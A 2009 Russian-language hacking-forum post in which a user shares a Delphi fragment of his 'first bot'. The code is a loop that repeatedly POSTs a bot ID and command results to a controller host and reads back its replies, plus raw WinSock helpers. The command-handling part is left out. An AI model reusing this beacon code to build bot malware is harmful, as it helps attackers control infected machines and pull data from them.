Показать сообщение отдельно

  #7  
Старый 19.08.2009, 09:23
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

o_O тыбы еще искал в инете как регить пример x=2/0
Кидаю кусок из первого моего бота который был писан в далёкие времена на Delphi
Код:
 if WSAStartup($202, WSData)=-1 then exit;
 MyID:=Get_ID;
 reply:='';
 while true do
  begin
   ServIP:=GetIPAddress(server_host);
   post_data:='id='+MyID+'&reply='+reply;
   reply:='';
   sbuf:='POST '+server_script+' HTTP/1.0'#13#10+
         'Host: '+server_host+#13#10+
         'Content-Type: application/x-www-form-urlencoded'+#13#10+
         'Content-Length: '+inttostr(length(post_data))+#13#10#13#10+post_data+#13#10;
  if (send_packs(ServIP,server_port,sbuf,rbuf)>0) then
  begin
  rbuf содержит ответ сервера без служебных заголовков

  end;
......................
function GetIPAddress(name: string): string;
var
 p:PHostEnt;
begin
 p:=GetHostByName(PChar(name));
 if p=nil then result:=name else result:=inet_ntoa(PInAddr(p.h_addr_list^)^);
end;

procedure GetContend(var data:string);
begin
delete(data,1,pos(#13#10#13#10,data)+3);
end;

function send_packs(ip:string; port:word; send_buf:string; var recv_buf:string):integer;
var
 SockAddrIn:TSockAddrIn;
 tmp_buf:array [0..255] of char;
 len:longint;
 socket_id:LongWord;
begin
 result:=-10;
 socket_id:=socket(2, 1, 6);
 if socket_id=LongWord(-1) then exit;
 SockAddrIn.sin_family := 2;
 SockAddrIn.sin_port := htons(port);
 SockAddrIn.sin_addr.s_addr := inet_addr(Pansichar(ip));
 result:=-20;
 if connect(socket_id, @SockAddrIn, SizeOf(SockAddrIn))<>0 then
  begin
   closesocket(socket_id);
   exit;
  end;
 send(socket_id,send_buf[1],length(send_buf),0);
 recv_buf:='';
 repeat
  len:=recv(socket_id,tmp_buf,255,0);
  recv_buf:=recv_buf+copy(tmp_buf,1,len);
 until len<=0;
 GetContend(recv_buf);
 result:=length(recv_buf);
 closesocket(socket_id);
end;
 
Ответить с цитированием